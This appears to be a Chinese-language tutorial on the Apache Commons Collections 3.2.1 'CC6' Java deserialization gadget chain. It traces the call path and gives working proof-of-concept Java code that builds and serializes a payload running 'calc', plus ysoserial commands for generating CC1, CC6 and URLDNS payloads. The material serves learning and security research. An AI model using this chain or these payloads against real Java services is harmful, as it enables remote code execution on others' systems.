CC6链漏洞
一 cc链简介
CC链是Apache Commons Collections
反序列化漏洞利用链的简称,它涉及将可以执行命令的函数(如Runtime.getRuntime().exec("calc.exe")
)序列化为对象流并转化为文件流存储在文件中,然后通过反序列化将文件流转化回对象流并执行反序列化。
这一过程的关键在于重写readObject()
方法,并确保反序列化的参数可控,无论这些参数是对象流还是文件流。CC链的目的是为了绕过直接反序列化Runtime
对象时遇到的错误,因为Runtime
类没有实现Serializable
接口。通过CC链,可以将Runtime
对象序列化,从而执行命令。
cc6链不受jdk版本约束,较于其他cc链,更为通用。
commons-collection 版本3.1-3.2.1
二 cc链环境准备
commons-collection 版本3.2.1
在pom.xml 里添加配置 后刷新
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
三 cc链漏洞
由于使用了Common Collections (Apache)工具,然后此工具了有一些安全漏洞
Common Collections工具的漏洞都是反序列漏洞
下面以CC6的漏洞为例,研究一下CC6的执行过程,并且构建CC6的POC代码
1 CC6的终点
public class InvokerTransformer implements Transformer, Serializable{ public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } } }
构建执行终点的POC代码
public class Test1 { public static void main(String[] args) { String iMethodName = "exec"; Class[] iParamTypes = {String.class}; Object[] iArgs = {"calc.exe"}; //构建InvokerTransformer对象 InvokerTransformer invokerTransformer = new InvokerTransformer(iMethodName, iParamTypes, iArgs); invokerTransformer.transform(Runtime.getRuntime()); } }
2 CC6链执行过程
java.io.ObjectInputStream.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
(1)、第一步
(2)、第二步
(3)、第三步
(4)、第四步
(5)、第五步
(6)、第六步
最终找到了
HashMap
的put方法 ,并且HashMap
重写了readObject
方法 ,并且调用当前执行的putVal
方法 。
3 构建CC6的POC代码
目的为了生成序列化文件 。
public class Test3 { public static void main(String[] args) throws Exception { Transformer[] Transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。 ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers); //chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1)); //这里ConstantTransformer随便放,这样put的时候不会触发计算器 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "b"); lazymap.remove("a"); //反序列化不能由key,所以romove掉 Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); //反射获取LazyMap,类似反射获url类 factoryField.set(lazymap, chainedTransformer); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt")); out.writeObject(map2); //序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt")); in.readObject(); //反序列化 } }
四 使用YsoSerial生成序列化数据
ysoserial工具集合了各种Java反序列化Payload,堪称为Java反序列化利用神器。大体分为生成代码、利用库(工具库)、Payloads库、序列化库 这四大库,网址为:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization., 可以下载最新版本,也可以阅读其源代码。
(1)运行java -jar ysoserial.jar,不带任何参数,可以获取到ysoserial的用法和内置的Paylod(JDK1.8版本支持)
(2)运行Payload生成序列化数据,再利用Java对序列化数据进行反序列化即可,如:
java -jar ysoserial.jar CommonsCollections1 calc.exe > ysocc1.ser java -jar ysoserial.jar CommonsCollections6 calc.exe > ysocc6.ser java -jar ysoserial.jar URLDNS http://123456.ns.matrika.cn > ysourldns.ser